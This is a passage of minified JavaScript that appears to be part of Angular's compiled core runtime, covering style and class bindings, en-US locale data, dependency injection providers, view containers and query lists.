B6(e,o),!1}finally{bn(7,t,i)}}function p0(e,t,i,r,o){return function l(v){if(v===Function)return r;Do(e.componentOffset>-1?Vn(e.index,t):t);let Y=f0(t,i,r,v),me=l.__ngNextListenerFn__;for(;me;)Y=f0(t,i,me,v)&&Y,me=me.__ngNextListenerFn__;return o&&!1===Y&&(v.preventDefault(),v.returnValue=!1),Y}}function m0(e=1){return function ni(e){return(ye.lFrame.contextLView=function Un(e,t){for(;e>0;)t=t[cn],e--;return t}(e,ye.lFrame.contextLView))[E1]}(e)}function s5(e,t){let i=null;const r=function Fl(e){const t=e.attrs;if(null!=t){const i=t.indexOf(5);if(!(1&i))return t[i+1]}return null}(e);for(let o=0;o<t.length;o++){const l=t[o];if("*"!==l){if(null===r?m6(e,l,!0):Vl(r,l))return o}else i=o}return i}function g0(e){const t=Tt()[X1][V1];if(!t.projection){const r=t.projection=er(e?e.length:1,null),o=r.slice();let l=t.child;for(;null!==l;){const v=e?s5(l,e):0;null!==v&&(o[v]?o[v].projectionNext=l:r[v]=l,o[v]=l),l=l.next}}}function v0(e,t=0,i){const r=Tt(),o=t1(),l=ja(o,L1+e,16,null,i||null);null===l.projection&&(l.projection=t),qn(),32!=(32&l.flags)&&function Tc(e,t,i){I3(t[D1],0,t,i,ao(e,i,t),T3(i.parent||t[V1],i,t))}(o,r,l)}function o3(e,t,i){return Io(e,"",t,"",i),o3}function Io(e,t,i,r,o){const l=Tt(),v=Wa(l,t,i,r);return v!==U1&&F2(t1(),$1(),l,e,v,l[D1],o,!1),Io}function Ro(e,t,i,r,o,l,v){const F=Tt(),Y=$a(F,t,i,r,o,l);return Y!==U1&&F2(t1(),$1(),F,e,Y,F[D1],v,!1),Ro}function Po(e,t){return e<<17|t<<2}function Zr(e){return e>>17&32767}function c3(e){return 2|e}function Ma(e){return(131068&e)>>2}function l3(e,t){return-131069&e|t<<2}function d3(e){return 1|e}function w0(e,t,i,r,o){const l=e[i+1],v=null===t;let F=r?Zr(l):Ma(l),Y=!1;for(;0!==F&&(!1===Y||v);){const $e=e[F+1];h5(e[F],t)&&(Y=!0,e[F+1]=r?d3($e):c3($e)),F=r?Zr($e):Ma($e)}Y&&(e[i+1]=r?c3(l):d3(l))}function h5(e,t){return null===e||null==t||(Array.isArray(e)?e[1]:e)===t||!(!Array.isArray(e)||"string"!=typeof t)&&M(e,t)>=0}const Ki={textEnd:0,key:0,keyEnd:0,value:0,valueEnd:0};function A0(e){return e.substring(Ki.key,Ki.keyEnd)}function u3(e,t){const i=Ki.textEnd;return i===t?-1:(t=Ki.keyEnd=function m5(e,t,i){for(;t<i&&e.charCodeAt(t)>32;)t++;return t}(e,Ki.key=t,i),xa(e,t,i))}function xa(e,t,i){for(;t<i&&e.charCodeAt(t)<=32;)t++;return t}function m3(e,t,i){return ar(e,t,i,!1),m3}function g3(e,t){return ar(e,t,null,!0),g3}function T0(e){sr(x5,_r,e,!0)}function _r(e,t){for(let i=function p5(e){return function f3(e){Ki.key=0,Ki.keyEnd=0,Ki.value=0,Ki.valueEnd=0,Ki.textEnd=e.length}(e),u3(e,xa(e,0,Ki.textEnd))}(t);i>=0;i=u3(t,i))Pi(e,A0(t),!0)}function ar(e,t,i,r){const o=Tt(),l=t1(),v=rt(2);l.firstUpdatePass&&k0(l,e,v,r),t!==U1&&M2(o,v,t)&&I0(l,l.data[hn()],o,o[D1],e,o[v+1]=function w5(e,t){return null==e||""===e||("string"==typeof t?e+=t:"object"==typeof e&&(e=_(Lr(e)))),e}(t,i),r,v)}function sr(e,t,i,r){const o=t1(),l=rt(2);o.firstUpdatePass&&k0(o,null,l,r);const v=Tt();if(i!==U1&&M2(v,l,i)){const F=o.data[hn()];if(P0(F,r)&&!L0(o,l)){let Y=r?F.classesWithoutHost:F.stylesWithoutHost;null!==Y&&(i=S(Y,i||"")),e3(o,F,v,i,r)}else!function D5(e,t,i,r,o,l,v,F){o===U1&&(o=at);let Y=0,me=0,$e=0<o.length?o[0]:null,ft=0<l.length?l[0]:null;for(;null!==$e||null!==ft;){const zt=Y<o.length?o[Y+1]:void 0,Nt=me<l.length?l[me+1]:void 0;let r1,Kt=null;$e===ft?(Y+=2,me+=2,zt!==Nt&&(Kt=ft,r1=Nt)):null===ft||null!==$e&&$e<ft?(Y+=2,Kt=$e):(me+=2,Kt=ft,r1=Nt),null!==Kt&&I0(e,t,i,r,Kt,r1,v,F),$e=Y<o.length?o[Y]:null,ft=me<l.length?l[me]:null}}(o,F,v,v[D1],v[l+1],v[l+1]=function M5(e,t,i){if(null==i||""===i)return at;const r=[],o=Lr(i);if(Array.isArray(o))for(let l=0;l<o.length;l++)e(r,o[l],!0);else if("object"==typeof o)for(const l in o)o.hasOwnProperty(l)&&e(r,l,o[l]);else"string"==typeof o&&t(r,o);return r}(e,t,i),r,l)}}function L0(e,t){return t>=e.expandoStartIndex}function k0(e,t,i,r){const o=e.data;if(null===o[i+1]){const l=o[hn()],v=L0(e,i);P0(l,r)&&null===t&&!v&&(t=!1),t=function _5(e,t,i,r){const o=l1(e);let l=r?t.residualClasses:t.residualStyles;if(null===o)0===(r?t.classBindings:t.styleBindings)&&(i=Ps(i=v3(null,e,t,i,r),t.attrs,r),l=null);else{const v=t.directiveStylingLast;if(-1===v||e[v]!==o)if(i=v3(o,e,t,i,r),null===l){let Y=function y5(e,t,i){const r=i?t.classBindings:t.styleBindings;if(0!==Ma(r))return e[Zr(r)]}(e,t,r);void 0!==Y&&Array.isArray(Y)&&(Y=v3(null,e,t,Y[1],r),Y=Ps(Y,t.attrs,r),function b5(e,t,i,r){e[Zr(i?t.classBindings:t.styleBindings)]=r}(e,t,r,Y))}else l=function C5(e,t,i){let r;const o=t.directiveEnd;for(let l=1+t.directiveStylingLast;l<o;l++)r=Ps(r,e[l].hostAttrs,i);return Ps(r,t.attrs,i)}(e,t,r)}return void 0!==l&&(r?t.residualClasses=l:t.residualStyles=l),i}(o,l,t,r),function d5(e,t,i,r,o,l){let v=l?t.classBindings:t.styleBindings,F=Zr(v),Y=Ma(v);e[r]=i;let $e,me=!1;if(Array.isArray(i)?($e=i[1],(null===$e||M(i,$e)>0)&&(me=!0)):$e=i,o)if(0!==Y){const zt=Zr(e[F+1]);e[r+1]=Po(zt,F),0!==zt&&(e[zt+1]=l3(e[zt+1],r)),e[F+1]=function c5(e,t){return 131071&e|t<<17}(e[F+1],r)}else e[r+1]=Po(F,0),0!==F&&(e[F+1]=l3(e[F+1],r)),F=r;else e[r+1]=Po(Y,0),0===F?F=r:e[Y+1]=l3(e[Y+1],r),Y=r;me&&(e[r+1]=c3(e[r+1])),w0(e,$e,r,!0),w0(e,$e,r,!1),function u5(e,t,i,r,o){const l=o?e.residualClasses:e.residualStyles;null!=l&&"string"==typeof t&&M(l,t)>=0&&(i[r+1]=d3(i[r+1]))}(t,$e,e,r,l),v=Po(F,Y),l?t.classBindings=v:t.styleBindings=v}(o,l,t,i,v,r)}}function v3(e,t,i,r,o){let l=null;const v=i.directiveEnd;let F=i.directiveStylingLast;for(-1===F?F=i.directiveStart:F++;F<v&&(l=t[F],r=Ps(r,l.hostAttrs,o),l!==e);)F++;return null!==e&&(i.directiveStylingLast=F),r}function Ps(e,t,i){const r=i?1:2;let o=-1;if(null!==t)for(let l=0;l<t.length;l++){const v=t[l];"number"==typeof v?o=v:o===r&&(Array.isArray(e)||(e=void 0===e?[]:["",e]),Pi(e,v,!!i||t[++l]))}return void 0===e?null:e}function x5(e,t,i){const r=String(t);""!==r&&!r.includes(" ")&&Pi(e,r,i)}function I0(e,t,i,r,o,l,v,F){if(!(3&t.type))return;const Y=e.data,me=Y[F+1],$e=function l5(e){return 1==(1&e)}(me)?R0(Y,t,i,o,Ma(me),v):void 0;Fs($e)||(Fs(l)||function o5(e){return 2==(2&e)}(me)&&(l=R0(Y,null,i,o,F,v)),function kc(e,t,i,r,o){if(t)o?e.addClass(i,r):e.removeClass(i,r);else{let l=-1===r.indexOf("-")?void 0:L2.DashCase;null==o?e.removeStyle(i,r,l):("string"==typeof o&&o.endsWith("!important")&&(o=o.slice(0,-10),l|=L2.Important),e.setStyle(i,r,o,l))}}(r,v,m2(hn(),i),o,l))}function R0(e,t,i,r,o,l){const v=null===t;let F;for(;o>0;){const Y=e[o],me=Array.isArray(Y),$e=me?Y[1]:Y,ft=null===$e;let zt=i[o+1];zt===U1&&(zt=ft?at:void 0);let Nt=ft?jr(zt,r):$e===r?zt:void 0;if(me&&!Fs(Nt)&&(Nt=jr(Y,r)),Fs(Nt)&&(F=Nt,v))return F;const Kt=e[o+1];o=v?Zr(Kt):Ma(Kt)}if(null!==t){let Y=l?t.residualClasses:t.residualStyles;null!=Y&&(F=jr(Y,r))}return F}function Fs(e){return void 0!==e}function P0(e,t){return 0!=(e.flags&(t?8:16))}function F0(e,t=""){const i=Tt(),r=t1(),o=e+L1,l=r.firstCreatePass?ja(r,o,1,t,null):r.data[o],v=i[o]=function Cs(e,t){return e.createText(t)}(i[D1],t);uo(r,i,v,l),sn(l,!1)}function Fo(e){return Ns("",e,""),Fo}function Ns(e,t,i){const r=Tt(),o=Wa(r,e,t,i);return o!==U1&&mr(r,hn(),o),Ns}function No(e,t,i,r,o){const l=Tt(),v=$a(l,e,t,i,r,o);return v!==U1&&mr(l,hn(),v),No}function _3(e,t,i,r,o,l,v){const F=Tt(),Y=function Ka(e,t,i,r,o,l,v,F){const me=zo(e,D(),i,o,v);return rt(3),me?t+Ce(i)+r+Ce(o)+l+Ce(v)+F:U1}(F,e,t,i,r,o,l,v);return Y!==U1&&mr(F,hn(),Y),_3}function y3(e,t,i,r,o,l,v,F,Y){const me=Tt(),$e=Za(me,e,t,i,r,o,l,v,F,Y);return $e!==U1&&mr(me,hn(),$e),y3}function U0(e,t,i){sr(Pi,_r,Wa(Tt(),e,t,i),!0)}function Ho(e,t,i){const r=Tt();return M2(r,Le(),t)&&F2(t1(),$1(),r,e,t,r[D1],i,!0),Ho}function Vo(e,t,i){const r=Tt();if(M2(r,Le(),t)){const l=t1(),v=$1();F2(l,v,r,e,t,V6(l1(l.data),v,r),i,!0)}return Vo}const Da=void 0;var H5=["en",[["a","p"],["AM","PM"],Da],[["AM","PM"],Da,Da],[["S","M","T","W","T","F","S"],["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],["Su","Mo","Tu","We","Th","Fr","Sa"]],Da,[["J","F","M","A","M","J","J","A","S","O","N","D"],["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],["January","February","March","April","May","June","July","August","September","October","November","December"]],Da,[["B","A"],["BC","AD"],["Before Christ","Anno Domini"]],0,[6,0],["M/d/yy","MMM d, y","MMMM d, y","EEEE, MMMM d, y"],["h:mm a","h:mm:ss a","h:mm:ss a z","h:mm:ss a zzzz"],["{1}, {0}",Da,"{1} \'at\' {0}",Da],[".",",",";","%","+","-","E","\\xd7","\\u2030","\\u221e","NaN",":"],["#,##0.###","#,##0%","\\xa4#,##0.00","#E0"],"USD","$","US Dollar",{},"ltr",function tc(e){const i=Math.floor(Math.abs(e)),r=e.toString().replace(/^[^.]*\\.?/,"").length;return 1===i&&0===r?1:5}];let es={};function M3(e){const t=function V5(e){return e.toLowerCase().replace(/_/g,"-")}(e);let i=ic(t);if(i)return i;const r=t.split("-")[0];if(i=ic(r),i)return i;if("en"===r)return H5;throw new Q(701,!1)}function nc(e){return M3(e)[z1.PluralCase]}function ic(e){return e in es||(es[e]=ie.ng&&ie.ng.common&&ie.ng.common.locales&&ie.ng.common.locales[e]),es[e]}var z1=(()=>((z1=z1||{})[z1.LocaleId=0]="LocaleId",z1[z1.DayPeriodsFormat=1]="DayPeriodsFormat",z1[z1.DayPeriodsStandalone=2]="DayPeriodsStandalone",z1[z1.DaysFormat=3]="DaysFormat",z1[z1.DaysStandalone=4]="DaysStandalone",z1[z1.MonthsFormat=5]="MonthsFormat",z1[z1.MonthsStandalone=6]="MonthsStandalone",z1[z1.Eras=7]="Eras",z1[z1.FirstDayOfWeek=8]="FirstDayOfWeek",z1[z1.WeekendRange=9]="WeekendRange",z1[z1.DateFormat=10]="DateFormat",z1[z1.TimeFormat=11]="TimeFormat",z1[z1.DateTimeFormat=12]="DateTimeFormat",z1[z1.NumberSymbols=13]="NumberSymbols",z1[z1.NumberFormats=14]="NumberFormats",z1[z1.CurrencyCode=15]="CurrencyCode",z1[z1.CurrencySymbol=16]="CurrencySymbol",z1[z1.CurrencyName=17]="CurrencyName",z1[z1.Currencies=18]="Currencies",z1[z1.Directionality=19]="Directionality",z1[z1.PluralCase=20]="PluralCase",z1[z1.ExtraData=21]="ExtraData",z1))();const ts="en-US";let rc=ts;function o7(e,t,i,r,o){if(e=z(e),Array.isArray(e))for(let l=0;l<e.length;l++)o7(e[l],t,i,r,o);else{const l=t1(),v=Tt();let F=_a(e)?e:z(e.provide),Y=o6(e);const me=W1(),$e=1048575&me.providerIndexes,ft=me.directiveStart,zt=me.providerIndexes>>20;if(_a(e)||!e.multi){const Nt=new ht(Y,o,Ga),Kt=l7(F,t,o?$e:$e+zt,ft);-1===Kt?(Mr(cr(me,v),l,F),c7(l,e,t.length),t.push(F),me.directiveStart++,me.directiveEnd++,o&&(me.providerIndexes+=1048576),i.push(Nt),v.push(Nt)):(i[Kt]=Nt,v[Kt]=Nt)}else{const Nt=l7(F,t,$e+zt,ft),Kt=l7(F,t,$e,$e+zt),m1=Kt>=0&&i[Kt];if(o&&!m1||!o&&!(Nt>=0&&i[Nt])){Mr(cr(me,v),l,F);const b1=function Gu(e,t,i,r,o){const l=new ht(e,i,Ga);return l.multi=[],l.index=t,l.componentProviders=0,Od(l,o,r&&!i),l}(o?Uu:Bu,i.length,o,r,Y);!o&&m1&&(i[Kt].providerFactory=b1),c7(l,e,t.length,0),t.push(F),me.directiveStart++,me.directiveEnd++,o&&(me.providerIndexes+=1048576),i.push(b1),v.push(b1)}else c7(l,e,Nt>-1?Nt:Kt,Od(i[o?Kt:Nt],Y,!o&&r));!o&&r&&m1&&i[Kt].componentProviders++}}}function c7(e,t,i,r){const o=_a(t),l=function ll(e){return!!e.useClass}(t);if(o||l){const Y=(l?z(t.useClass):t).prototype.ngOnDestroy;if(Y){const me=e.destroyHooks||(e.destroyHooks=[]);if(!o&&t.multi){const $e=me.indexOf(i);-1===$e?me.push(i,[r,Y]):me[$e+1].push(r,Y)}else me.push(i,Y)}}}function Od(e,t,i){return i&&e.componentProviders++,e.multi.push(t)-1}function l7(e,t,i,r){for(let o=i;o<r;o++)if(t[o]===e)return o;return-1}function Bu(e,t,i,r){return d7(this.multi,[])}function Uu(e,t,i,r){const o=this.multi;let l;if(this.providerFactory){const v=this.providerFactory.componentProviders,F=k2(i,i[Qt],this.providerFactory.index,r);l=F.slice(0,v),d7(o,l);for(let Y=v;Y<F.length;Y++)l.push(F[Y])}else l=[],d7(o,l);return l}function d7(e,t){for(let i=0;i<e.length;i++)t.push((0,e[i])());return t}function Id(e,t=[]){return i=>{i.providersResolver=(r,o)=>function Vu(e,t,i){const r=t1();if(r.firstCreatePass){const o=pn(e);o7(i,r.data,r.blueprint,o,!0),o7(t,r.data,r.blueprint,o,!1)}}(r,o?o(e):e,t)}}class Go{}class Rd{}function ju(e,t){return new Pd(e,t??null)}class Pd extends Go{constructor(t,i){super(),this._parent=i,this._bootstrapComponents=[],this.destroyCbs=[],this.componentFactoryResolver=new G6(this);const r=ke(t);this._bootstrapComponents=Or(r.bootstrap),this._r3Injector=x6(t,i,[{provide:Go,useValue:this},{provide:zs,useValue:this.componentFactoryResolver}],_(t),new Set(["environment"])),this._r3Injector.resolveInjectorInitializers(),this.instance=this._r3Injector.get(t)}get injector(){return this._r3Injector}destroy(){const t=this._r3Injector;!t.destroyed&&t.destroy(),this.destroyCbs.forEach(i=>i()),this.destroyCbs=null}onDestroy(t){this.destroyCbs.push(t)}}class u7 extends Rd{constructor(t){super(),this.moduleType=t}create(t){return new Pd(this.moduleType,t)}}class Yu extends Go{constructor(t,i,r){super(),this.componentFactoryResolver=new G6(this),this.instance=null;const o=new s6([...t,{provide:Go,useValue:this},{provide:zs,useValue:this.componentFactoryResolver}],i||vo(),r,new Set(["environment"]));this.injector=o,o.resolveInjectorInitializers()}destroy(){this.injector.destroy()}onDestroy(t){this.injector.onDestroy(t)}}function h7(e,t,i=null){return new Yu(e,t,i).injector}let Wu=(()=>{class e{constructor(i){this._injector=i,this.cachedInjectors=new Map}getOrCreateStandaloneInjector(i){if(!i.standalone)return null;if(!this.cachedInjectors.has(i.id)){const r=v4(0,i.type),o=r.length>0?h7([r],this._injector,`Standalone[${i.type.name}]`):null;this.cachedInjectors.set(i.id,o)}return this.cachedInjectors.get(i.id)}ngOnDestroy(){try{for(const i of this.cachedInjectors.values())null!==i&&i.destroy()}finally{this.cachedInjectors.clear()}}}return e.\\u0275prov=Be({token:e,providedIn:"environment",factory:()=>new e(Pe(ya))}),e})();function Fd(e){e.getStandaloneInjector=t=>t.get(Wu).getOrCreateStandaloneInjector(e)}function jd(e,t,i){const r=y()+e,o=Tt();return o[r]===U1?gr(o,r,i?t.call(i):t()):function Rs(e,t){return e[t]}(o,r)}function Yd(e,t,i,r){return Kd(Tt(),y(),e,t,i,r)}function Wd(e,t,i,r,o){return Zd(Tt(),y(),e,t,i,r,o)}function $d(e,t,i,r,o,l){return function Qd(e,t,i,r,o,l,v,F){const Y=t+i;return zo(e,Y,o,l,v)?gr(e,Y+3,F?r.call(F,o,l,v):r(o,l,v)):w3(e,Y+3)}(Tt(),y(),e,t,i,r,o,l)}function w3(e,t){const i=e[t];return i===U1?void 0:i}function Kd(e,t,i,r,o,l){const v=t+i;return M2(e,v,o)?gr(e,v+1,l?r.call(l,o):r(o)):w3(e,v+1)}function Zd(e,t,i,r,o,l,v){const F=t+i;return Ca(e,F,o,l)?gr(e,F+2,v?r.call(v,o,l):r(o,l)):w3(e,F+2)}function Xd(e,t){const i=t1();let r;const o=e+L1;i.firstCreatePass?(r=function oh(e,t){if(t)for(let i=t.length-1;i>=0;i--){const r=t[i];if(e===r.name)return r}}(t,i.pipeRegistry),i.data[o]=r,r.onDestroy&&(i.destroyHooks??(i.destroyHooks=[])).push(o,r.onDestroy)):r=i.data[o];const l=r.factory||(r.factory=ai(r.type)),v=m(Ga);try{const F=$2(!1),Y=l();return $2(F),function n5(e,t,i,r){i>=e.data.length&&(e.data[i]=null,e.blueprint[i]=null),t[i]=r}(i,Tt(),o,Y),Y}finally{m(v)}}function e9(e,t,i){const r=e+L1,o=Tt(),l=si(o,r);return A3(o,r)?Kd(o,y(),t,l.transform,i,l):l.transform(i)}function t9(e,t,i,r){const o=e+L1,l=Tt(),v=si(l,o);return A3(l,o)?Zd(l,y(),t,v.transform,i,r,v):v.transform(i,r)}function A3(e,t){return e[Qt].data[t].pure}function p7(e){return t=>{setTimeout(e,void 0,t)}}const Qr=class uh extends n.xQ{constructor(t=!1){super(),this.__isAsync=t}emit(t){super.next(t)}subscribe(t,i,r){let o=t,l=i||(()=>null),v=r;if(t&&"object"==typeof t){const Y=t;o=Y.next?.bind(Y),l=Y.error?.bind(Y),v=Y.complete?.bind(Y)}this.__isAsync&&(l=p7(l),o&&(o=p7(o)),v&&(v=p7(v)));const F=super.subscribe({next:o,error:l,complete:v});return t instanceof a.w&&t.add(F),F}};function hh(){return this._results[Symbol.iterator]()}class _c{get changes(){return this._changes||(this._changes=new Qr)}constructor(t=!1){this._emitDistinctChangesOnly=t,this.dirty=!0,this._results=[],this._changesDetected=!1,this._changes=null,this.length=0,this.first=void 0,this.last=void 0;const i=_c.prototype;i[Symbol.iterator]||(i[Symbol.iterator]=hh)}get(t){return this._results[t]}map(t){return this._results.map(t)}filter(t){return this._results.filter(t)}find(t){return this._results.find(t)}reduce(t,i){return this._results.reduce(t,i)}forEach(t){this._results.forEach(t)}some(t){return this._results.some(t)}toArray(){return this._results.slice()}toString(){return this._results.toString()}reset(t,i){const r=this;r.dirty=!1;const o=function n2(e){return e.flat(Number.POSITIVE_INFINITY)}(t);(this._changesDetected=!function Ar(e,t,i){if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++){let o=e[r],l=t[r];if(i&&(o=i(o),l=i(l)),l!==o)return!1}return!0}(r._results,o,i))&&(r._results=o,r.length=o.length,r.last=o[this.length-1],r.first=o[0])}notifyOnChanges(){this._changes&&(this._changesDetected||!this._emitDistinctChangesOnly)&&this._changes.emit(this)}setDirty(){this.dirty=!0}destroy(){this.changes.complete(),this.changes.unsubscribe()}}let S3=(()=>{class e{}return e.__NG_ELEMENT_ID__=mh,e})();const fh=S3,ph=class extends fh{constructor(t,i,r){super(),this._declarationLView=t,this._declarationTContainer=i,this.elementRef=r}createEmbeddedView(t,i){const r=this._declarationTContainer.tView,o=yo(this._declarationLView,r,t,16,null,r.declTNode,null,null,null,null,i||null);o[Pn]=this._declarationLView[this._declarationTContainer.index];const v=this._declarationLView[An];return null!==v&&(o[An]=v.createEmbeddedView(r)),N4(r,o,t),new Os(o)}};function mh(){return yc(W1(),Tt())}function yc(e,t){return 4&e.type?new ph(t,e,Va(e,t)):null}let bc=(()=>{class e{}return e.__NG_ELEMENT_ID__=gh,e})();function gh(){return r9(W1(),Tt())}const vh=bc,n9=class extends vh{constructor(t,i,r){super(),this._lContainer=t,this._hostTNode=i,this._hostLView=r}get element(){return Va(this._hostTNode,this._hostLView)}get injector(){return new O2(this._hostTNode,this._hostLView)}get parentInjector(){const t=V2(this._hostTNode,this._hostLView);if(mi(t)){const i=ji(t,this._hostLView),r=Ii(t);return new O2(i[Qt].data[r+8],i)}return new O2(null,this._hostLView)}clear(){for(;this.length>0;)this.remove(this.length-1)}get(t){const i=i9(this._lContainer);return null!==i&&i[t]||null}get length(){return this._lContainer.length-ln}createEmbeddedView(t,i,r){let o,l;"number"==typeof r?o=r:null!=r&&(o=r.index,l=r.injector);const v=t.createEmbeddedView(i||{},l);return this.insert(v,o),v}createComponent(t,i,r,o,l){const v=t&&!function ur(e){return"function"==typeof e}(t);let F;if(v)F=i;else{const ft=i||{};F=ft.index,r=ft.injector,o=ft.projectableNodes,l=ft.environmentInjector||ft.ngModuleRef}const Y=v?t:new Is(O(t)),me=r||this.parentInjector;if(!l&&null==Y.ngModule){const zt=(v?me:this.parentInjector).get(ya,null);zt&&(l=zt)}const $e=Y.create(me,o,void 0,l);return this.insert($e.hostView,F),$e}insert(t,i){const r=t._lView,o=r[Qt];if(function D2(e){return Sn(e[N1])}(r)){const $e=this.indexOf(t);if(-1!==$e)this.detach($e);else{const ft=r[N1],zt=new n9(ft,ft[V1],ft[N1]);zt.detach(zt.indexOf(t))}}const l=this._adjustIndex(i),v=this._lContainer;!function Jo(e,t,i,r){const o=ln+r,l=i.length;r>0&&(i[o-1][Y1]=t),r<l-ln?(t[Y1]=i[o],Sr(i,ln+r,t)):(i.push(t),t[Y1]=null),t[N1]=i;const v=t[Pn];null!==v&&i!==v&&function Xo(e,t){const i=e[Nn];t[X1]!==t[N1][N1][X1]&&(e[di]=!0),null===i?e[Nn]=[t]:i.push(t)}(v,t);const F=t[An];null!==F&&F.insertView(e),t[h1]|=64}(o,r,v,l);const F=s4(l,v),Y=r[D1],me=lo(Y,v[ri]);return null!==me&&function Zo(e,t,i,r,o,l){r[w1]=o,r[V1]=t,ws(e,r,i,1,o,l)}(o,v[V1],Y,r,me,F),t.attachToViewContainerRef(),Sr(m7(v),l,t),t}move(t,i){return this.insert(t,i)}indexOf(t){const i=i9(this._lContainer);return null!==i?i.indexOf(t):-1}remove(t){const i=this._adjustIndex(t,-1),r=xs(this._lContainer,i);r&&(X2(m7(this._lContainer),i),ro(r[Qt],r))}detach(t){const i=this._adjustIndex(t,-1),r=xs(this._lContainer,i);return r&&null!=X2(m7(this._lContainer),i)?new Os(r):null}_adjustIndex(t,i=0){return t??this.length+i}};function i9(e){return e[_i]}function m7(e){return e[_i]||(e[_i]=[])}function r9(e,t){let i;const r=t[e.index];if(Sn(r))i=r;else{let o;if(8&e.type)o=en(r);else{const l=t[D1];o=l.createComment("");const v=_n(e,t);Tr(l,lo(l,v),o,function zc(e,t){return e.nextSibling(t)}(l,v),!1)}t[e.index]=i=P6(r,t,o,e),xo(t,i)}return new n9(i,e,t)}class g7{constructor(t){this.queryList=t,this.matches=null}clone(){return new g7(this.queryList)}setDirty(){this.queryList.setDirty()}}class v7{constructor(t=[]){this.queries=t}createEmbeddedView(t){const i=t.queries;if(null!==i){const r=null!==t.contentQueries?t.contentQueries[0]:i.length,o=[];for(let l=0;l<r;l++){const v=i.getByIndex(l);o.push(this.queries[v.indexInDeclarationView].clone())}return new v7(o)}return null}insertView(t){this.dirtyQueriesWithMatches(t)}detachView(t){this.dirtyQueriesWithMatches(t)}dirtyQueriesWithMatches(t){for(let i=0;i<this.queries.length;i++)null!==f9(t,i).matches&&this.queries[i].setDirty()}}class a9{constructor(t,i,r=null){this.predicate=t,this.flags=i,this.read=r}}class _7{constructor(t=[]){this.queries=t}elementStart(t,i){for(let r=0;r<this.queries.length;r++)this.queries[r].elementStart(t,i)}elementEnd(t){for(let i=0;i<this.queries.length;i++)this.queries[i].elementEnd(t)}embeddedTView(t){let i=null;for(let r=0;r<this.length;r++){const o=null!==i?i.length:0,l=this.getByIndex(r).embeddedTView(t,o);l&&(l.indexInDeclarationView=r,null!==i?i.push(l):i=[l])}return null!==i?new _7(i):null}template(t,i){for(let r=0;r<this.queries.length;r++)this.queries[r].template(t,i)}getByIndex(t){return this.queries[t]}get length(){return this.queries.length}track(t){this.queries.push(t)}}class y7{constructor(t,i=-1){this.metadata=t,this.matches=null,this.indexInDeclarationView=-1,this.crossesNgTemplate=!1,this._appliesToNextNode=!0,this._declarationNodeIndex=i}elementStart(t,i){this.isApplyingToNode(i)&&this.matchTNode(t,i)}elementEnd(t){this._declarationNodeIndex===t.index&&(this._appliesToNextNode=!1)}template(t,i){this.elementStart(t,i)}embeddedTView(t,i){return this.isApplyingToNode(t)?(this.crossesNgTemplate=!0,this.addMatch(-t.index,i),new y7(this.metadata)):null}isApplyingToNode(t){if(this._appliesToNextNode&&1!=(1&this.metadata.flags)){const i=this._declarationNodeIndex;let r=t.parent;for(;null!==r&&8&r.type&&r.index!==i;)r=r.parent;return i===(null!==r?r.index:-1)}return this._appliesToNextNode}matchTNode(t,i){const r=this.metadata.predicate;if(Array.isArray(r))for(let o=0;o<r.length;o++){const l=r[o];this.matchTNodeWithReadOption(t,i,_h(i,l)),this.matchTNodeWithReadOption(t,i,Jn(i,t,l,!1,!1))}else r===S3?4&i.type&&this.matchTNodeWithReadOption(t,i,-1):this.matchTNodeWithReadOption(t,i,Jn(i,t,r,!1,!1))}matchTNodeWithReadOption(t,i,r){if(null!==r){const o=this.metadata.read;if(null!==o)if(o===Ts||o===bc||o===S3&&4&i.type)this.addMatch(i.index,-2);else{const l=Jn(i,t,o,!1,!1);null!==l&&this.addMatch(i.index,l)}else this.addMatch(i.index,r)}}addMatch(t,i){null===this.matches?this.matches=[t,i]:this.matches.push(t,i)}}function _h(e,t){const i=e.localNames;if(null!==i)for(let r=0;r<i.length;r+=2)if(i[r]===t)return i[r+1];return null}function bh(e,t,i,r){return-1===i?function yh(e,t){return 11&e.type?Va(e,t):4&e.type?yc(e,t):null}(t,e):-2===i?function Ch(e,t,i){return i===Ts?Va(t,e):i===S3?yc(t,e):i===bc?r9(t,e):void 0}(e,t,r):k2(e,e[Qt],i,t)}function s9(e,t,i,r){const o=t[An].queries[r];if(null===o.matches){const l=e.data,v=i.matches,F=[];for(let Y=0;Y<v.length;Y+=2){const me=v[Y];F.push(me<0?null:bh(t,l[me],v[Y+1],i.metadata.read))}o.matches=F}return o.matches}function b7(e,t,i,r){const o=e.queries.getByIndex(i),l=o.matches;if(null!==l){const v=s9(e,t,o,i);for(let F=0;F<l.length;F+=2){const Y=l[F];if(Y>0)r.push(v[F/2]);else{const me=l[F+1],$e=t[-Y];for(let ft=ln;ft<$e.length;ft++){const zt=$e[ft];zt[Pn]===zt[N1]&&b7(zt[Qt],zt,me,r)}if(null!==$e[Nn]){const ft=$e[Nn];for(let zt=0;zt<ft.length;zt++){const Nt=ft[zt];b7(Nt[Qt],Nt,me,r)}}}}}return r}function o9(e){const t=Tt(),i=t1(),r=F1();A1(r+1);const o=f9(i,r);if(e.dirty&&function v2(e){return 4==(4&e[h1])}(t)===(2==(2&o.metadata.flags))){if(null===o.matches)e.reset([]);else{const l=o.crossesNgTemplate?b7(i,t,r,[]):s9(i,t,o,r);e.reset(l,bl),e.notifyOnChanges()}return!0}return!1}function c9(e,t,i){const r=t1();r.firstCreatePass&&(h9(r,new a9(e,t,i),-1),2==(2&t)&&(r.staticViewQueries=!0)),u9(r,Tt(),t)}function l9(e,t,i,r){const o=t1();if(o.firstCreatePass){const l=W1();h9(o,new a9(t,i,r),l.index),function xh(e,t){const i=e.contentQueries||(e.contentQueries=[]);t!==(i.length?i[i.length-1]:-1)&&i.push(e.queries.length-1,t)}(o,e),2==(2&i)&&(o.staticContentQueries=!0)}u9(o,Tt(),i)}function d9(){return function Mh(e,t){return e[An].queries[t].queryList}(Tt(),F1())}function u9(e,t,i){const r=new _c(4==(4&i));L6(e,t,r,r.destroy),null===t[An]&&(t[An]=new v7),t[An].queries.push(new g7(r))}function h9(e,t,i){null===e.queries&&(e.queries=new _7),e.queries.track(new y7(t,i))}function f9(e,t){return e.queries.getByIndex(t)}function p9(e,t){return yc(e,t)}function C7(e){return!!ke(e)}const Gh=dr("Input",e=>({bindingPropertyName:e})),jh=dr("Output",e=>({bindingPropertyName:e}));function Mc(...e){}const k9=new yn("Application Initializer");let xc=(()=>{class 